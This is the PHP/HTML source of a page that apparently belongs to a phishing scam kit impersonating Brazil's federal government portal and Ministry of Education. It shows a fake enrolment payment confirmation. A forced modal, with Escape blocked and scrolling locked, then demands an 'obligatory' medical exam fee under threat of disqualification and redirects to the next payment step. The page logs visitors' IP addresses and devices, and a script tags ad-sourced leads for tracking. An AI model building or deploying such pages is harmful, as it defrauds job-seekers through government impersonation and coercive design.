<?php
require 'config.php';
ini_set('display_errors', 0 );
error_reporting(0);
set_time_limit(0);
date_default_timezone_set('America/Sao_Paulo');
$hora = @date("d/m/Y - H:i:s");
$ip = $_SERVER['REMOTE_ADDR'];
$dispositivo = $_SERVER['HTTP_USER_AGENT'];






?>
<!DOCTYPE html>
<html lang="pt-BR">

<head>





    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Pagamento Confirmado - Mais Agentes da Educação</title>
    <!-- Google tag (gtag.js) -->
    

    <!-- External CSS -->
    <script src="assets/js/3.4.16.js"></script>
    <link rel="stylesheet" href="assets/css/all.min.css">
    <link href="assets/css/rawline.css" rel="stylesheet">

    <!-- Custom CSS -->
    <link rel="stylesheet" href="assets/css/custom.css">

    <?php include "!pixels.php"; ?>

    <!-- SEO and Meta Tags -->
    <meta name="description" content="Pagamento Confirmado - Programa Nacional de Agentes da Educação">
    <meta name="keywords" content="educação, governo federal, agentes educação, PNAE, vagas públicas">
    <meta name="author" content="Governo Federal do Brasil">

    <!-- Favicon -->
    <link rel="icon" type="image/x-icon"
        href="data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22 viewBox=%220 0 100 100%22><text y=%22.9em%22 font-size=%2290%22>🇧🇷</text></svg>">

</head>


<body class="bg-white">

    <!-- Header -->
    <header class="header-govbr">
        <div class="flex justify-between items-center px-4 py-3">
            <div class="flex items-center">
                <a  class="gov-logo">
                    <img src="assets/img/1.webp" alt="gov.br" class="h-8">
                </a>
            </div>
            <div class="flex items-center">
                <button class="header-btn" id="menu-btn" aria-label="Menu">
                    <i class="fas fa-ellipsis-v text-blue-900 mx-3"></i>
                </button>
                <div class="w-px h-6 bg-blue-900 mx-3"></div>
                <button class="header-btn" id="accessibility-btn" aria-label="Acessibilidade">
                    <i class="fas fa-palette text-blue-900 mx-3"></i>
                </button>
                <div class="half-circle mx-3"></div>
                <button class="header-btn" id="apps-btn" aria-label="Aplicativos">
                    <i class="fas fa-th text-blue-900 mx-3"></i>
                </button>
              
            </div>
        </div>

        <!-- Title Bar -->
        <div class="flex justify-between items-center px-4 py-2 border-b border-gray-300">
            <div class="flex items-center">
                <button class="header-btn" id="sidebar-toggle" aria-label="Menu lateral">
                    <i class="fas fa-bars text-blue-900 mr-3"></i>
                </button>
                <span class="text-gray-800 text-sm font-medium">Ministério da Educação</span>
            </div>
            <div class="flex items-center">
                <div class="flex flex-col items-end text-green-700 font-semibold mr-4">
                    <div class="flex items-center">
                        <i class="fas fa-shield-alt mr-2" style="color: #166534;"></i>
                        <span class="text-sm">PAGAMENTO</span>
                    </div>
                    <span class="text-sm">100% SEGURO</span>
                </div>
            </div>
        </div>
    </header>

    <!-- Main Content -->
    <main class="container mx-auto px-4 py-8" style="max-width: 1200px;">
        <div class="px-4 py-4">
            <h1 class="text-3xl font-semibold mb-4" style="color: #1351B4;">Pagamento Confirmado</h1>

            <div class="border-t border-b border-gray-300 py-3 mb-6">
                <div class="text-gray-700 text-sm">
                    <p>Confirmado em <span id="data-confirmacao"></span></p>
                </div>
            </div>

            <!-- Confirmação de Pagamento -->
            <div class="bg-green-50 border border-green-200 rounded-lg p-6 mb-6 text-center">
                <div class="w-16 h-16 bg-green-100 rounded-full flex items-center justify-center mx-auto mb-4">
                    <i class="fas fa-check text-2xl text-green-600"></i>
                </div>
                <h2 class="text-2xl font-semibold text-green-800 mb-2">Inscrição Confirmada!</h2>
                <p class="text-green-700 mb-4">Seu pagamento foi processado com sucesso e sua inscrição no Programa
                    Nacional de Agentes da Educação foi confirmada.</p>

                <div class="bg-white border border-green-200 rounded-lg p-4">
                    <h3 class="font-semibold text-green-800 mb-2">Próximos Passos</h3>
                    <ul class="text-sm text-green-700 text-left space-y-1">
                        <li>• Você receberá um e-mail de confirmação em até 15 minutos</li>
                        <li>• Acompanhe as datas das provas: 5 de novembro e 7 de novembro</li>
                        <li>• Mantenha seus dados atualizados no sistema</li>
                        <li>• Aguarde comunicações oficiais sobre local de prova</li>
                    </ul>
                </div>
            </div>



            <!-- Informações de Contato -->
            <div class="bg-blue-50 border border-blue-200 rounded-lg p-6 mt-6">
                <h3 class="font-semibold text-blue-800 mb-3">
                    <i class="fas fa-info-circle mr-2"></i>
                    Precisa de Ajuda?
                </h3>
                <p class="text-sm text-blue-700 mb-2">
                    Em caso de dúvidas sobre sua inscrição ou problemas com o pagamento, entre em contato:
                </p>
                <ul class="text-sm text-blue-700 space-y-1">
                    <li>• Portal oficial: gov.br</li>
                    <li>• Central de Atendimento: 0800-123-4567</li>
                    <li>• E-mail: <a href="/cdn-cgi/l/email-protection" class="__cf_email__"
                            data-cfemail="c4a5b0a1aaa0ada9a1aab0ab84a1a0b1a7a5a7a5abeaa3abb2eaa6b6">[email�protected]</a>
                    </li>
                </ul>
            </div>
        </div>

        <!-- Modal de Aviso Importante -->
        <div id="avisoModal" class="fixed inset-0 bg-black bg-opacity-75 hidden flex items-center justify-center z-50"
            style="backdrop-filter: blur(5px);">
            <div class="bg-white rounded-lg p-8 w-full max-w-md mx-0 sm:mx-4">
                <div class="text-center mb-6">
                    <div class="flex items-center justify-center mb-4">
                        <i class="fas fa-exclamation-triangle text-red-600 text-2xl mr-3"></i>
                        <h3 class="text-xl font-semibold text-red-600">Aviso Importante</h3>
                    </div>
                </div>

                <div class="text-sm mb-6">
                    <p class="font-bold text-black mb-3">
                        Atenção: Para garantir sua participação no Programa Mais Agentes da Educação, é Obrigatório o
                        pagamento da taxa de exame médico admissional no valor de R$ <?php echo $upsell1; ?>.
                    </p>

                    <p class="text-gray-700 mb-3">
                        O não pagamento desta taxa resultará na desclassificação automática e sua vaga poderá ser
                        destinada a outro candidato.
                    </p>

                    <p class="font-bold text-black mb-4">
                        Realize o pagamento agora para garantir sua participação no processo seletivo.
                    </p>
                </div>

                <div class="mb-6">
                    <label class="flex items-start">
                        <input type="checkbox" id="concordoTermos" class="mt-1 mr-3">
                        <span class="text-sm">Li e concordo com os termos e condições para realização do exame médico
                            admissional obrigatório.</span>
                    </label>
                </div>

                <button id="fazerRegistro" disabled=""
                    class="w-full bg-gray-400 text-white py-3 px-6 rounded-md font-medium transition-colors cursor-not-allowed">
                    Realizar Pagamento
                </button>
            </div>
        </div>

        <script data-cfasync="false" src="js/email-decode.min.js"></script>
        <script>
            document.addEventListener('DOMContentLoaded', function () {
                // Gerar data atual de confirmação
                const agora = new Date();
                document.getElementById('data-confirmacao').textContent = agora.toLocaleString('pt-BR');

                // Mostrar modal após 3 segundos
                setTimeout(function () {
                    document.getElementById('avisoModal').classList.remove('hidden');
                    // Desabilitar scroll da página de fundo
                    document.body.style.overflow = 'hidden';
                    // Prevenir fechamento com ESC
                    document.addEventListener('keydown', preventEscape);
                }, 5000);

                // Função para prevenir fechamento do modal
                function preventEscape(e) {
                    if (e.key === 'Escape') {
                        e.preventDefault();
                    }
                }

                // Gerenciar checkbox e botão
                const checkbox = document.getElementById('concordoTermos');
                const botao = document.getElementById('fazerRegistro');

                checkbox.addEventListener('change', function () {
                    if (this.checked) {
                        botao.disabled = false;
                        botao.classList.remove('bg-gray-400', 'cursor-not-allowed');
                        botao.classList.add('bg-blue-600', 'hover:bg-blue-700');
                    } else {
                        botao.disabled = true;
                        botao.classList.add('bg-gray-400', 'cursor-not-allowed');
                        botao.classList.remove('bg-blue-600', 'hover:bg-blue-700');
                    }
                });

                // Ação do botão (redirecionar para próxima página)
                botao.addEventListener('click', function () {
                    if (!this.disabled) {
                        // pega os parâmetros da URL atual
                         var currentUrlParams = window.location.search;
                        // Redirecionar para a página de agendamento
                        window.location.href = '08.php' + currentUrlParams;;
                    }
                });



            });
        </script>


    </main>

    <!-- Footer -->
    <footer class="bg-blue-600 text-white py-8 mt-12">
        <div class="max-w-7xl mx-auto px-4">
            <div class="grid md:grid-cols-4 gap-8">
                <div>
                    <h3 class="font-semibold mb-4">Governo</h3>
                    <ul class="space-y-2 text-sm">
                        <li><a href="#" class="hover:underline">Portal gov.br</a></li>
                        <li><a href="#" class="hover:underline">Presidência da República</a></li>
                        <li><a href="#" class="hover:underline">Ministérios</a></li>
                    </ul>
                </div>
                <div>
                    <h3 class="font-semibold mb-4">Educação</h3>
                    <ul class="space-y-2 text-sm">
                        <li><a href="#" class="hover:underline">Ministério da Educação</a></li>
                        <li><a href="#" class="hover:underline">Programas</a></li>
                        <li><a href="#" class="hover:underline">Bolsas</a></li>
                    </ul>
                </div>
                <div>
                    <h3 class="font-semibold mb-4">Contato</h3>
                    <ul class="space-y-2 text-sm">
                        <li>Central: 0800-123-4567</li>
                        <li><a href="/cdn-cgi/l/email-protection" class="__cf_email__"
                                data-cfemail="caabbeafa4aea3a7afa4bea58aafaebfa9aba9aba5e4ada5bce4a8b8">[email�protected]</a>
                        </li>
                    </ul>
                </div>
                <div>
                    <h3 class="font-semibold mb-4">Redes Sociais</h3>
                    <div class="flex space-x-4">
                        <a href="#" class="hover:opacity-75">
                            <i class="fab fa-facebook-f"></i>
                        </a>
                        <a href="#" class="hover:opacity-75">
                            <i class="fab fa-twitter"></i>
                        </a>
                        <a href="#" class="hover:opacity-75">
                            <i class="fab fa-instagram"></i>
                        </a>
                    </div>
                </div>
            </div>
            <div class="border-t border-blue-500 mt-8 pt-8 text-center text-sm">
                <p>� 2024 Governo Federal. Todos os direitos reservados.</p>
            </div>
        </div>
    </footer>
    <script data-cfasync="false" src="js/email-decode.min.js"></script>

   


</body>

</html>

<script>
(function () {
  const POLL_MS = 500;

  function getStorageKey() {
    const url = new URL(window.location.href);
    const current = url.searchParams.get("utm_source");
    if (current === "FB") return "lead";
    if (current === "google") return "lead-google";
    return null;
  }

  function getLeadId(storageKey) {
    if (!storageKey) return null;
    const raw = localStorage.getItem(storageKey);
    if (!raw) return null;
    try {
      const obj = JSON.parse(raw);
      return obj && obj._id ? String(obj._id) : null;
    } catch {
      return null;
    }
  }

  function applyUtmIfNeeded() {
    const url = new URL(window.location.href);
    const current = url.searchParams.get("utm_source");
    const storageKey = getStorageKey();
    const id = getLeadId(storageKey);
    if (!id) return false;

    let desired = null;
    if (current === "FB") {
      desired = "FBjLj" + id;
    } else if (current === "google") {
      desired = "googlejLj" + id;
    }

    if (!desired) return false; 

    url.searchParams.set("utm_source", desired);
    window.location.replace(url.toString());
    return true;
  }

  if (applyUtmIfNeeded()) return;

  const interval = setInterval(() => {
    if (applyUtmIfNeeded()) clearInterval(interval);
  }, POLL_MS);
})();
</script>
